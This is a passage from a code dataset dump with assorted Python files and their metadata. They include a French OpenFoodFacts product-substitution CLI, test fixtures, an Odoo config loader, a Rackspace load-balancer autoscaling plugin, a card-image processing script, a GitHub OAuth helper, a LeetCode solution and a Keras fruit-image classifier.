'q' pour quitter : \".format(len(categories)))\n\n if category_input.lower() == \"q\":\n print(\"\\nAu revoir et à bientôt\")\n exit()\n\n else:\n try:\n category_input = int(category_input)\n except:\n error = (\n \" Veuillez saisir un nombre entre 1 et {} ou 'q' pour quitter\".format(len(categories)))\n header(error)\n display_ls_categories()\n else:\n if category_input > 0 and category_input <= len(categories):\n category = categories[category_input-1]\n print(\"\\nVous avez choisi la catégorie :\", category)\n print(\"-\" * 80)\n header()\n display_ls_products(category)\n\n else:\n error = (\n \"Veuillez saisir un nombre entre 1 et {} ou 'q' pour quitter\".format(len(categories)))\n header(error)\n display_ls_categories()\n\n\ndef display_ls_products(category, page_number=1):\n \"\"\"Display the list of products\n\n Arguments:\n category {str} -- Category\n\n Keyword Arguments:\n page_number {int} -- Page number (default: {1})\n \"\"\"\n url = conf.url_categories(category, page_number)\n r = requests.get(url).json()\n products = json.dumps(r)\n page = json.loads(products)\n num_page = page['page']\n total_products = page[\"count\"]\n number_page = int(page[\"count\"]/20 + 1)\n print(\"Nb de '{}' trouvé(e)s = {} - Page = {} sur {}\".format(category,\n total_products, num_page, number_page))\n product_num = 1\n for x in page['products']:\n print(\"{:2d} - {}, {}\".format(product_num,\n x['product_name_fr'], x['quantity']))\n product_num += 1\n print(\"-\" * 80)\n if num_page > 1:\n print(\"

    - Page précèdente\")\n else:\n print(\"-\")\n print(\" - Page suivante\")\n print(\" - Accueil\")\n print(\" - Quitter\")\n\n product_choice = input(\"\\nEntrez votre choix : \")\n\n if product_choice == \"p\":\n if num_page > 1:\n header()\n display_ls_products(category, page_number - 1)\n else:\n header()\n display_ls_products(category, page_number=1)\n\n elif product_choice == \"s\":\n header()\n display_ls_products(category, page_number + 1)\n\n elif product_choice == \"a\":\n header()\n home()\n\n elif product_choice == \"q\":\n print(\"\\nAu revoir et à bientôt\")\n exit()\n\n try:\n product_choice = int(product_choice)\n except:\n error = (\n \"Veuillez saisir un nombre entre 1 et {}, 'n', 'q'\".format(len(page['products'])))\n header(error)\n display_ls_products(category)\n else:\n if product_choice > 0 and product_choice <= len(page['products']):\n code = (page['products'][product_choice-1]['code'])\n header()\n display_product(code, category)\n display_alter_product(code, category)\n\n else:\n error = (\n \" Veuillez saisir un nombre entre 1 et {}, 'n', 'q'\".format(len(page['products'])))\n header(error)\n display_ls_products(category, page_number)\n\n\ndef display_product(code, category):\n \"\"\"Displays the 'product sheet'\n\n Arguments:\n code {str} -- Code product\n category {str} -- Category\n \"\"\"\n category = category\n url = conf.url_product(code)\n r = requests.get(url).json()\n page_product = json.dumps(r)\n\n product = json.loads(page_product)\n line_1 = \"Code produit ...........: \"\n line_2 = \"Nom du produit .........: \"\n line_3 = \"Quantité ...............: \"\n line_4 = \"Fabriquant .............: \"\n line_5 = \"Suggestion de magasin ..: \"\n line_6 = \"Nutri-score ............: \"\n line_7 = \"Page OpenFoodFacts .....: \"\n\n print(f\"{line_1}{product['code']}\")\n print(f\"{line_2}{product['product']['product_name_fr']}\")\n print(f\"{line_3}{product['product']['quantity']}\")\n print(f\"{line_4}{product['product']['brands']}\")\n print(f\"{line_5}{product['product']['stores']}\")\n\n if product['product']['nutrition_grades'] == \"a\":\n print(line_6 + Back.GREEN + Fore.BLACK + \" \" +\n product['product']['nutrition_grades'] + \" \")\n elif product['product']['nutrition_grades'] == \"b\":\n print(line_6 + Back.GREEN + Fore.YELLOW + \" \" +\n product['product']['nutrition_grades'] + \" \")\n elif product['product']['nutrition_grades'] == \"c\":\n print(line_6 + Back.YELLOW + Fore.BLACK + \" \" +\n product['product']['nutrition_grades'] + \" \")\n elif product['product']['nutrition_grades'] == \"d\":\n print(line_6 + Back.YELLOW + Fore.RED + \" \" +\n product['product']['nutrition_grades'] + \" \")\n elif product['product']['nutrition_grades'] == \"e\":\n print(line_6 + Back.RED + Fore.BLACK + \" \" +\n product['product']['nutrition_grades'] + \" \")\n\n print(f\"{line_7}https://fr.openfoodfacts.org/produit/\\\n{product['product']['code']}\")\n\n\ndef display_alter_product(code, category):\n \"\"\"Search alternative product\n\n Arguments:\n code {str} -- Code product\n category {str} -- Category\n \"\"\"\n category = category\n url = conf.url_product(code)\n r = requests.get(url).json()\n page_product = json.dumps(r)\n product = json.loads(page_product)\n print(\"*\" * 80)\n # print(product['product']['generic_name_fr'])\n # print(len(product['product']['generic_name_fr']))\n\n if len(product['product']['generic_name_fr']) == 0:\n keyword = conf.cleaner(product['product']['product_name_fr'])\n print(\"Produit de subsitution pour :\", keyword)\n else:\n keyword = conf.cleaner(product['product']['generic_name_fr'])\n print(\"Produit de sublistution pour :\", keyword)\n\n if product['product']['nutrition_grades'] != \"a\":\n url = conf.url_alt_product(keyword)\n r = requests.get(url).json()\n page_alter = json.dumps(r)\n alter = json.loads(page_alter)\n if alter[\"count\"] > 0:\n print(\"Nombre de produits trouvés en nutriscore 'a':\",\n alter[\"count\"])\n if alter[\"count\"] > 20:\n hazard = random.randint(0, 20)\n # print(\"URL:\", alter[\"products\"][hazard][\"url\"])\n code = (alter[\"products\"][hazard-1][\"code\"])\n display_product(code, category)\n else:\n hazard = random.randint(0, alter[\"count\"])\n # print(\"URL:\", alter[\"products\"][hazard][\"url\"])\n code = (alter[\"products\"][hazard-1][\"code\"])\n display_product(code, category)\n else:\n url = conf.url_alt_product(keyword, 'b')\n r = requests.get(url).json()\n page_alter = json.dumps(r)\n alter = json.loads(page_alter)\n if alter[\"count\"] > 0:\n print(\"Nombre de produits trouvés en nutriscore 'b':\",\n alter[\"count\"])\n if alter[\"count\"] > 20:\n hazard = random.randint(0, 20)\n # print(\"URL:\", alter[\"products\"][hazard][\"url\"])\n code = (alter[\"products\"][hazard-1][\"code\"])\n display_product(code, category)\n else:\n hazard = random.randint(0, alter[\"count\"])\n # print(\"URL:\", alter[\"products\"][hazard][\"url\"])\n code = (alter[\"products\"][hazard-1][\"code\"])\n display_product(code, category)\n else:\n url = conf.url_alt_product(keyword, 'c')\n r = requests.get(url).json()\n page_alter = json.dumps(r)\n alter = json.loads(page_alter)\n if alter[\"count\"] > 0:\n print(\"Nombre de produits trouvés en nutriscore 'c':\",\n alter[\"count\"])\n if alter[\"count\"] > 20:\n hazard = random.randint(0, 20)\n # print(\"URL:\", alter[\"products\"][hazard][\"url\"])\n code = (alter[\"products\"][hazard-1][\"code\"])\n display_product(code, category)\n else:\n hazard = random.randint(0, alter[\"count\"])\n # print(\"URL:\", alter[\"products\"][hazard][\"url\"])\n code = (alter[\"products\"][hazard-1][\"code\"])\n display_product(code, category)\n else:\n print(\"\\nOups ! Pas de produit de substition trouvé :-(\")\n\n else:\n print(\"\")\n\n print(\"-\" * 80)\n print(\" - Accueil\")\n print(\" - Retour\")\n print(\" - Enregistrer\")\n print(\" - Quitter\")\n\n alter_input = input(\"\\nEntrez votre choix : \")\n\n if alter_input.lower() == \"q\":\n print(\"\\nAu revoir et à bientôt\")\n exit()\n\n elif alter_input.lower() == \"e\":\n try:\n Dbase.insert_tbl_categories(code, category)\n except mysql.connector.Error as err:\n if err.errno == 1062:\n msg = (\"Produit déjà enregistré\")\n header(msg)\n display_ls_products(category)\n else:\n msg = (\"Produit enregistré\")\n header(msg)\n display_ls_products(category)\n\n elif alter_input.lower() == \"a\":\n header()\n home()\n\n elif alter_input.lower() == \"r\":\n header()\n display_ls_products(category)\n\n else:\n error = (\"Saisie incorrecte\")\n header(error)\n display_ls_products(category)\n\n\ndef display_all_records():\n \"\"\"Displays all records in the database\n \"\"\"\n print(\"Display all records\")\n cnx = Dbase.sql_connect()\n cur = cnx.cursor()\n cur.execute(\"USE purbeurre\")\n cur.execute(\"\"\"\n SELECT * FROM Records;\n \"\"\")\n number_line = 1\n for raw in cur:\n print(f\"{raw[0]} - {raw[2]} {raw[3]}\")\n number_line += 1\n\n print(\"\")\n print(\"-\" * 80)\n print(\" - Accueil\")\n print(\" - Quitter\")\n ask = input(\">> \")\n\n if ask.lower() == \"q\":\n print(\"\\nAu revoir et à bientôt\")\n exit()\n\n elif ask.lower() == \"a\":\n header()\n home()\n\n try:\n ask = int(ask)\n except:\n error = (\"Entrée incorrecte\")\n header(error)\n display_all_records()\n else:\n header()\n display_record(ask, raw[1], raw[8])\n\n\ndef display_record(ask, code, category):\n \"\"\"Displays a product registered in the database\n\n Arguments:\n ask {str} -- User response\n code {str} -- Code product\n category {str} -- Category\n \"\"\"\n cnx = Dbase.sql_connect()\n cur = cnx.cursor()\n cur.execute(\"USE purbeurre\")\n\n cur.execute(\"\"\"\n SELECT * FROM Records WHERE id={}\n \"\"\".format(ask))\n product = (cur.fetchone())\n\n display_product(product[1], product[8])\n\n print(\"\")\n print(\"-\" * 80)\n print(\" - Accueil\")\n print(\" - Quitter\")\n print(\" - Retour\")\n\n ask2 = input(\">> \")\n\n if ask2.lower() == \"q\":\n print(\"\\nAu revoir et à bientôt\")\n exit()\n\n elif ask2.lower() == \"a\":\n header()\n home()\n\n elif ask2.lower() == \"r\":\n header()\n display_all_records()\n\n else:\n error = (\"Entrée incorrecte\")\n header(error)\n # display_all_records()\n display_record(ask, product[1], product[8])\n","sub_path":"config/display.py","file_name":"display.py","file_ext":"py","file_size_in_byte":12202,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"608007926","text":"import pytest\n\nfrom django_dramatiq import tasks\nfrom dramatiq import Worker\n\n\n@pytest.fixture\ndef broker():\n yield tasks.broker\n tasks.broker.flush_all()\n\n\n@pytest.fixture\ndef worker(broker):\n worker = Worker(broker, worker_timeout=100)\n worker.start()\n yield worker\n worker.stop()\n","sub_path":"tests/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":301,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"218888285","text":"\n\nfrom xai.brain.wordbase.nouns._synonym import _SYNONYM\n\n#calss header\nclass _SYNONYMS(_SYNONYM, ):\n\tdef __init__(self,): \n\t\t_SYNONYM.__init__(self)\n\t\tself.name = \"SYNONYMS\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"synonym\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_synonyms.py","file_name":"_synonyms.py","file_ext":"py","file_size_in_byte":245,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"315510499","text":"# -*- coding: utf-8 -*-\nimport logging\nimport os\n\nimport yaml\n\n# Constants needed in scripts\nSRC_DIR = \"/opt/odoo/custom/src\"\nADDONS_YAML = SRC_DIR + \"/addons.yaml\"\nADDONS_DIR = \"/opt/odoo/auto/addons\"\nCLEAN = os.environ.get(\"CLEAN\") == \"true\"\nLINK = os.environ.get(\"LINK\") == \"true\"\n\n# Allow to change log level for build\nlogging.root.setLevel(int(os.environ.get(\"LOG_LEVEL\", logging.INFO)))\n\n\ndef addons_config():\n \"\"\"Load configurations from ``ADDONS_YAML`` into a dict.\"\"\"\n config = dict()\n with open(ADDONS_YAML) as addons_file:\n for doc in yaml.load_all(addons_file):\n for repo, addons in doc.items():\n config.setdefault(repo, list())\n config[repo] += addons\n\n return config\n","sub_path":"lib/odoobaselib.py","file_name":"odoobaselib.py","file_ext":"py","file_size_in_byte":741,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"171906055","text":"# -*- coding: utf-8 -*-\n\n# vim: tabstop=4 shiftwidth=4 softtabstop=4\n#\n# this file is part of 'RAX-AutoScaler'\n#\n# Copyright 2014 Rackspace US, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n# Example config:\n#\n# \"raxclb\":{\n# \"scale_up_threshold\": 50,\n# \"scale_down_threshold\": 1,\n# \"check_type\": \"\",\n# \"load_balancers\": \n# }\n\nimport pyrax\nfrom raxas.core_plugins.base import PluginBase\nfrom datetime import datetime, timedelta\nimport logging\nfrom pyrax.exceptions import NotFound\n\n\nclass Raxclb(PluginBase):\n \"\"\" Rackspace cloud load balancer plugin.\n\n \"\"\"\n\n def __init__(self, scaling_group):\n super(Raxclb, self).__init__(scaling_group)\n\n self.scaling_group = scaling_group\n config = scaling_group.plugin_config.get(self.name)\n\n self.scale_up_threshold = config.get('scale_up_threshold', 50)\n self.scale_down_threshold = config.get('scale_down_threshold', 1)\n self.check_type = config.get('check_type', '')\n self.lb_ids = config.get('loadbalancers', [])\n self.check_time = 2\n self.scaling_group = scaling_group\n\n @property\n def name(self):\n return 'raxclb'\n\n def make_decision(self):\n \"\"\"\n This function decides to scale up or scale down\n\n :returns: 1 scale up\n 0 do nothing\n -1 scale down\n None No data available\n \"\"\"\n\n logger = logging.getLogger(__name__)\n\n clb = pyrax.cloud_loadbalancers\n\n if not self.lb_ids:\n launch_config = self.scaling_group.launch_config\n if launch_config is None:\n return None\n\n try:\n self.lb_ids = [lb.get('loadBalancerId') for lb\n in launch_config.get('load_balancers')]\n except TypeError:\n logger.error('No loadbalancer found, please either define a '\n 'loadbalancer to check or add one to the scaling group.')\n return None\n\n start_time = datetime.utcnow() - timedelta(hours=int(self.check_time))\n\n results = []\n\n active_server_count = self.scaling_group.state['active_capacity']\n\n self.scale_up_threshold = self.scale_up_threshold * active_server_count\n self.scale_down_threshold = self.scale_down_threshold * active_server_count\n\n if self.check_type.upper() == 'SSL':\n hist_check = 'averageNumConnectionsSsl'\n cur_check = 'currentConnSsl'\n\n else:\n hist_check = 'averageNumConnections'\n cur_check = 'currentConn'\n\n for lb in self.lb_ids:\n try:\n check_clb = clb.get(lb)\n except NotFound:\n logger.error('Loadbalancer specified does not exist')\n return None\n\n usage = check_clb.get_usage(start=start_time)\n current_usage = check_clb.get_stats()\n\n records = []\n\n for record in usage.get('loadBalancerUsageRecords'):\n records.append(record.get(hist_check))\n\n try:\n current_conn = current_usage.get(cur_check)\n average_historical = sum(records) / len(records)\n average = ((current_conn * 1.5) + average_historical) / 2\n except ZeroDivisionError:\n average = current_usage.get(cur_check)\n\n if average > self.scale_up_threshold:\n results.append(1)\n logger.info(\"Raxclb reports scale up for lb %s\", lb)\n elif average < self.scale_down_threshold:\n results.append(-1)\n logger.info(\"Raxclb reports scale down for lb %s\", lb)\n else:\n results.append(0)\n logger.info(\"Raxclb reports normal for lb %s\", lb)\n\n return sum(results)\n","sub_path":"raxas/core_plugins/raxclb.py","file_name":"raxclb.py","file_ext":"py","file_size_in_byte":4398,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"85642309","text":"#! /usr/bin/env python\n\nimport sys\nimport re\nimport os\nimport subprocess\nimport shutil\nimport tempfile\n\nfrom datetime import date\nfrom collections import defaultdict\n\nfrom natsort import natsorted\n\nfrom file_builders import build_card_files\n\nSCRIPT_DIR = \"/home/teddy/projects/dixit/cards\"\nFRONTEND_DIR = \"/home/teddy/projects/dixit/client\"\nBACKEND_DIR = \"/home/teddy/projects/dixit/server\"\n\nFRONTEND_CARD_PATH = \"cards\"\nSQL_FILENAME = \"insert_cards.sql\"\nSQL_OUTPUT = os.path.join(SCRIPT_DIR, SQL_FILENAME)\n\nTEMPLATE_FILENAME = \"cards_template.html\"\nHTML_OUTPUT = \"index.html\"\n\nBUILDER_TEMPLATE = \"builder_template.html\"\nBUILDER_OUTPUT = \"deck_builder.html\"\n\nOUTPUT_SIZE = \"350x560^\"\nTMP_GIF_NAME = \"tmp.gif\"\n\nPROCESSED_CARDS_LIST = \"processed\"\nIMAGE_DIRECTORY = \"src_images\"\n\nDEFAULT_VERBOSITY = 1\nPROG_NAME = \"standardize_images\"\n\nPREPROCESS_GIFS = False\n\ndef log(text, verbosity=1):\n if verbosity <= DEFAULT_VERBOSITY:\n print(\"{}: {}\".format(PROG_NAME, text))\n\ndef change_ext(filename, new_ext):\n \"\"\"return a new filename, with the extension changed.\n \"\"\"\n return re.sub(r\"\\.\\w+$\", new_ext, filename)\n\ndef map_img_extensions(extension):\n #keep gif filetype, otherwise convert to png\n if extension == \".gif\":\n return \".gif\"\n\n return \".png\"\n\ndef preprocess_gif(tmp_dir, input_path):\n preprocess_output = os.path.join(tmp_dir, \"tmp.gif\")\n subprocess.run([\n \"magick\",\n input_path,\n \"-coalesce\",\n preprocess_output\n ])\n return preprocess_output\n\ndef get_processed_path():\n return os.path.join(SCRIPT_DIR, PROCESSED_CARDS_LIST)\n\ndef load_processed():\n process_path = get_processed_path()\n try:\n processed_dict = {}\n with open(process_path, 'r') as processed:\n for line in processed:\n entries = re.split(r\",\\s*\", line.strip())\n if len(entries) != 3:\n log(\"Malformed processed file entry: {}\".format(line))\n continue\n inp_name, out_name, date = entries\n processed_dict[inp_name] = {\"name\":out_name, \"date\":date}\n return processed_dict\n except FileNotFoundError:\n log(\"No list of processed files found, skipping.\")\n\ndef build_indices(processed):\n if not processed:\n log(\"Not building index dict since there are no processed files\",\n verbosity=2)\n return\n\n indices = defaultdict(int)\n for key, value in processed.items():\n base_filename = os.path.basename(value[\"name\"])\n match = re.match(r\"[^_]+(?=_)\", base_filename)\n\n if not match:\n log(\"unexpected filename format found: {}\".format(base_filename))\n continue\n\n file_prefix = match.group()\n indices[file_prefix] += 1\n\n return indices\n\ndef make_sorted_card_list(card_data):\n card_list = []\n for _, dir_cards in card_data.items():\n card_list += [(date_added, filename)\n for filename, date_added in dir_cards]\n\n return sorted(card_list)\n\ndef invert_card_list(card_list):\n return {\n filename:i for i, (_, filename) in enumerate(card_list)\n }\n\ndef run_standardize(directory, processed_files=None,\n processed_handle=None, file_indices=None):\n\n if not processed_handle:\n log(\"No handle provided for processed files! The script will not\"\n \"remember which files were updated on this run.\")\n\n output_directory = os.path.join(FRONTEND_DIR, FRONTEND_CARD_PATH)\n dir_key = os.path.basename(directory)\n\n if file_indices and dir_key in file_indices:\n index = file_indices[dir_key]\n else:\n index = 0\n\n card_data = []\n\n #create a temporary directory for preprocessing gifs\n processing_dir = tempfile.TemporaryDirectory()\n\n for base, dirs, files in os.walk(directory):\n dirs.sort()\n sort_files = natsorted(files)\n for filename in sort_files:\n _, extension = os.path.splitext(filename)\n new_extension = map_img_extensions(extension)\n\n output_filename = \"{}_card{:02}{}\".format(dir_key, index, new_extension)\n input_path = os.path.join(base, filename)\n output_path = os.path.join(output_directory, output_filename)\n\n processed_key = input_path\n if not processed_files or processed_key not in processed_files:\n if PREPROCESS_GIFS and extension == \".gif\":\n log(\"Preprocessing gif file: {}\".format(input_path))\n input_path = preprocess_gif(processing_dir.name, input_path)\n log(\"Produced temporary gif file: {}\".format(input_path))\n\n log(\"Processing file: {}. Output: {}\".format(input_path, output_path))\n\n date_added = date.today().isoformat()\n\n subprocess.run([\"magick\",\n input_path,\n \"-resize\",\n OUTPUT_SIZE,\n \"-layers\",\n \"optimize\",\n output_path])\n\n if processed_handle:\n processed_handle.write(\"{}, {}, {}\\n\".format(processed_key,\n output_filename,\n date_added))\n\n\n index += 1\n else:\n log(\"Skipping file: {}\".format(input_path))\n output_filename = processed_files[processed_key][\"name\"]\n date_added = processed_files[processed_key][\"date\"]\n\n card_data.append((output_filename, date_added))\n\n processing_dir.cleanup()\n\n return card_data\n\n\ndef process_dirs(directories):\n processed_files = load_processed()\n indices = build_indices(processed_files)\n card_data = {}\n\n with open(get_processed_path(), 'a') as processed_handle:\n for dirname in directories:\n dir_cards = run_standardize(\n dirname,\n processed_files, processed_handle,\n file_indices=indices)\n\n card_data[os.path.basename(dirname)] = dir_cards\n\n global_indices = invert_card_list(make_sorted_card_list(card_data))\n build_card_files(card_data, global_indices)\n\n\ndef main():\n if len(sys.argv) > 1:\n directories = sys.argv[1:]\n else:\n src_dirs = os.path.join(SCRIPT_DIR, IMAGE_DIRECTORY)\n directories = [os.path.join(src_dirs, im_dir)\n for im_dir in natsorted(os.listdir(src_dirs))]\n\n process_dirs(directories)\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"cards/process_images.py","file_name":"process_images.py","file_ext":"py","file_size_in_byte":6677,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"265195532","text":"\"\"\" \n@Author: huuuuusy\n@GitHub: https://github.com/huuuuusy\n系统: Ubuntu 18.04\nIDE: VS Code 1.39\n工具: python == 3.7.3\n\"\"\"\n\n\"\"\"\n思路:\n 字典直接求解\n结果:\n 执行用时 : 40 ms, 在所有 Python3 提交中击败了88.89%的用户\n 内存消耗 : 13.7 MB, 在所有 Python3 提交中击败了100%的用户\n\"\"\"\n\nclass Solution:\n def isStrobogrammatic(self, num):\n lookup = {\n \"6\" : \"9\",\n \"9\" :\"6\",\n \"8\" : \"8\",\n \"1\" : \"1\",\n \"0\" :\"0\"\n }\n rotate_num = \"\"\n for a in num:\n if a in lookup:\n rotate_num += lookup[a]\n else:\n return False\n return rotate_num[::-1] == num\n \n\nif __name__ == \"__main__\":\n num = \"101\"\n answer = Solution().isStrobogrammatic(num)\n print(answer)","sub_path":"LeetCode/python-R1/0246-中心对称数/V1.py","file_name":"V1.py","file_ext":"py","file_size_in_byte":844,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"283486304","text":"import requests\nfrom aspen import json, log, Response\nfrom aspen.website import Website\nfrom aspen.utils import typecheck\nfrom gittip import db, networks\n\n\ndef upsert(user_info):\n return networks.upsert( 'github'\n , user_info['id']\n , user_info['login']\n , user_info\n )\n\n\ndef oauth_url(website, action, then=u\"\"):\n \"\"\"Given a website object and a string, return a URL string.\n\n `action' is one of 'opt-in', 'lock' and 'unlock'\n\n `then' is either a github username or an URL starting with '/'. It's\n where we'll send the user after we get the redirect back from\n GitHub.\n\n \"\"\"\n typecheck(website, Website, action, unicode, then, unicode)\n assert action in [u'opt-in', u'lock', u'unlock']\n url = u\"https://github.com/login/oauth/authorize?client_id=%s&redirect_uri=%s\"\n url %= (website.github_client_id, website.github_callback)\n\n # Pack action,then into data and base64-encode. Querystring isn't\n # available because it's consumed by the initial GitHub request.\n\n data = u'%s,%s' % (action, then)\n data = data.encode('UTF-8').encode('base64').decode('US-ASCII')\n url += u'?data=%s' % data\n return url\n\n\ndef oauth_dance(website, qs):\n \"\"\"Given a querystring, return a dict of user_info.\n\n The querystring should be the querystring that we get from GitHub when\n we send the user to the return value of oauth_url above.\n\n See also:\n\n http://developer.github.com/v3/oauth/\n\n \"\"\"\n\n log(\"Doing an OAuth dance with Github.\")\n\n if 'error' in qs:\n raise Response(500, str(qs['error']))\n\n data = { 'code': qs['code'].encode('US-ASCII')\n , 'client_id': website.github_client_id\n , 'client_secret': website.github_client_secret\n }\n r = requests.post(\"https://github.com/login/oauth/access_token\", data=data)\n assert r.status_code == 200, (r.status_code, r.text)\n\n back = dict([pair.split('=') for pair in r.text.split('&')]) # XXX\n if 'error' in back:\n raise Response(400, back['error'].encode('utf-8'))\n assert back.get('token_type', '') == 'bearer', back\n access_token = back['access_token']\n\n r = requests.get( \"https://api.github.com/user\"\n , headers={'Authorization': 'token %s' % access_token}\n )\n assert r.status_code == 200, (r.status_code, r.text)\n user_info = json.loads(r.text)\n log(\"Done with OAuth dance with Github for %s (%s).\"\n % (user_info['login'], user_info['id']))\n\n return user_info\n\n\ndef resolve(login):\n \"\"\"Given two str, return a participant_id.\n \"\"\"\n FETCH = \"\"\"\\\n\n SELECT participant_id\n FROM social_network_users\n WHERE network='github'\n AND user_info -> 'login' = %s\n\n \"\"\" # XXX Uniqueness constraint on login?\n rec = db.fetchone(FETCH, (login,))\n if rec is None:\n raise Exception(\"GitHub user %s has no participant.\" % (login))\n return rec['participant_id']\n","sub_path":"gittip/networks/github.py","file_name":"github.py","file_ext":"py","file_size_in_byte":3051,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"71227344","text":"import numpy as np\nimport cv2\nimport glob\nimport os\n\ndef reading_images(fruit_img, fruit_labels, img_folder):\n for fruit_dir_path in glob.glob(img_folder):\n fruit_name = fruit_dir_path.split(\"\\\\\")[-1]\n# print(fruit_name)\n for image_path in glob.glob(os.path.join(fruit_dir_path, \"*.jpg\")):\n image = cv2.imread(image_path, cv2.IMREAD_COLOR)\n# print(image_path)\n image = cv2.resize(image, (100, 100))\n fruit_img.append((image / 255.).tolist())\n fruit_labels.append(fruit_name)\n for image_path in glob.glob(os.path.join(fruit_dir_path, \"*.jpeg\")):\n image = cv2.imread(image_path, cv2.IMREAD_COLOR)\n# print(image_path)\n image = cv2.resize(image, (100, 100))\n fruit_img.append((image / 255.).tolist())\n fruit_labels.append(fruit_name)\n for image_path in glob.glob(os.path.join(fruit_dir_path, \"*.png\")):\n image = cv2.imread(image_path, cv2.IMREAD_COLOR)\n# print(image_path)\n image = cv2.resize(image, (100, 100))\n fruit_img.append((image / 255.).tolist())\n fruit_labels.append(fruit_name)\n return fruit_img, fruit_labels\n\n\n# glob.glob(\"C:/Users/Ryan/Desktop/Udacity Machine Learning/capstone/food/training/*\")\n\nfruit_images = []\nlabels = []\n\nfruit_images, labels = reading_images(fruit_images, labels,\n \"C:/Users/Ryan/Desktop/Udacity Machine Learning/capstone/new_fruit/fruits/*\")\n\nlen(fruit_images)\n110 + 115 + 108 + 120 + 100 + 99 + 100 + 108 + 101 + 100 + 120 + 117 + 116 + 100 + 101 + 100 + 115 + 100 + 100 + 119 + 100 + 100\n\n#import collections\n#collections.Counter(labels)\n\ndef helper_label(list_of_labels):\n from sklearn.preprocessing import OneHotEncoder, LabelEncoder\n encoder = LabelEncoder()\n # turn the labels to 0 - 45\n encoder_int = encoder.fit_transform(list_of_labels)\n encoder_int = encoder_int.reshape(len(encoder_int), 1)\n one_hot_encoder = OneHotEncoder(sparse=False)\n labels_encoded = one_hot_encoder.fit_transform(encoder_int)\n return labels_encoded\n\nencoded_labels = helper_label(labels)\n\n# generate random index numbers\nimport random\n\n# randomize the index\nidx = random.sample(range(len(labels)), len(labels))\n\n# turn into array, to make the calculation faster?\nidx = np.array(idx)\nencoded_labels = np.array(encoded_labels)\nfruit_images = np.array(fruit_images)\n# save those indexes\ntrain_idx = idx[:int(len(idx) * 0.8)]\nvalidation_idx = idx[int(len(idx) * 0.8):int(len(idx) * 0.95)]\ntest_idx = idx[int(len(idx) * 0.95):]\n\n# apply those index to training, validation, and test set\nlabels_train = encoded_labels[train_idx]\nimage_train = fruit_images[train_idx]\nlabels_valid = encoded_labels[validation_idx]\nimage_valid = fruit_images[validation_idx]\nlabels_test = encoded_labels[test_idx]\nimage_test = fruit_images[test_idx]\n# check the distribution of the labels\nsum(encoded_labels)\nsum(labels_train)\nsum(labels_valid)\nsum(labels_test)\n# frequency table, if needed\n# from collections import Counter\n# freq = Counter(labels)\n\n\n# -------------------------- B E N C H M A R K M O D E L ------------------------\n# run a benchmark model\n# basic benchmark model (in development)\nfrom keras.layers import Conv2D, MaxPooling2D, GlobalAveragePooling2D\nfrom keras.layers import Dropout, Dense, Flatten\nfrom keras.models import Sequential\n\nbenchmark_model = Sequential()\nbenchmark_model.add(Flatten(input_shape=image_train.shape[1:])) # image_train.shape[1:] is (100,100,3)\nbenchmark_model.add(Dense(256, activation='relu'))\n# benchmark_model.add(Dropout(0.3))\nbenchmark_model.add(Dense(256, activation='relu'))\nbenchmark_model.add(Dropout(0.3))\nbenchmark_model.add(Dense(22, activation='softmax'))\nbenchmark_model.summary()\n\nbenchmark_model.compile(optimizer='rmsprop', loss='categorical_crossentropy', metrics=['accuracy'])\nbenchmark_model.fit(image_train, labels_train,\n validation_data=(image_valid, labels_valid),\n batch_size=50, epochs=10)\n\n# -------------------------- B E N C H M A R K M O D E L E N D ------------------------\n# ----------------M O D E L F R O M S C R A T C H ---------------------------\n# train the model\nfrom keras.layers import Conv2D, MaxPooling2D, GlobalAveragePooling2D\nfrom keras.layers import Dropout, Dense, Flatten\nfrom keras.models import Sequential\nfrom keras import optimizers\nfrom keras.callbacks import ModelCheckpoint, EarlyStopping\n\ndef cnn_from_scratch():\n model = Sequential()\n model.add(Conv2D(filters=16, kernel_size=2, padding='same', activation='relu', input_shape=(100, 100, 3)))\n model.add(MaxPooling2D(pool_size=2))\n model.add(Conv2D(filters=32, kernel_size=2, padding='same', activation='relu'))\n model.add(MaxPooling2D(pool_size=2))\n model.add(Conv2D(filters=64, kernel_size=2, padding='same', activation='relu'))\n model.add(MaxPooling2D(pool_size=2))\n model.add(Dropout(0.2))\n model.add(GlobalAveragePooling2D())\n model.add(Dense(22, activation='softmax'))\n model.summary()\n return model\n\n# optimizer_generator generate an optimizer\n# optimizer: \"rms\" or \"sgd\"\n# learn_rate: default to 0.01\ndef optimizer_generator(optimizer, learn_rate=0.01):\n if optimizer not in (\"rms\", \"sgd\"):\n return \"please enter rms or sgd as optimizer\"\n if optimizer == \"rms\":\n return optimizers.RMSprop(lr=learn_rate) # or 0.001 etc\n else:\n return optimizers.SGD(lr=learn_rate)\n\ndef fine_tuning(cnn_model, optimizer, learn_rate, model_type = \"\"):\n if model_type == \"\":\n return \"please specify which model you are training.\"\n model_optimizer = optimizer_generator(optimizer, learn_rate)\n cnn_model.compile(optimizer=model_optimizer, loss='categorical_crossentropy', metrics=['accuracy'])\n checkpt = ModelCheckpoint(\"C:/Users/Ryan/Desktop/Udacity Machine Learning/capstone/checkpt.h5\", monitor='val_acc',\n save_best_only=True, save_weights_only=False,\n mode='auto', period=1)\n early_stop = 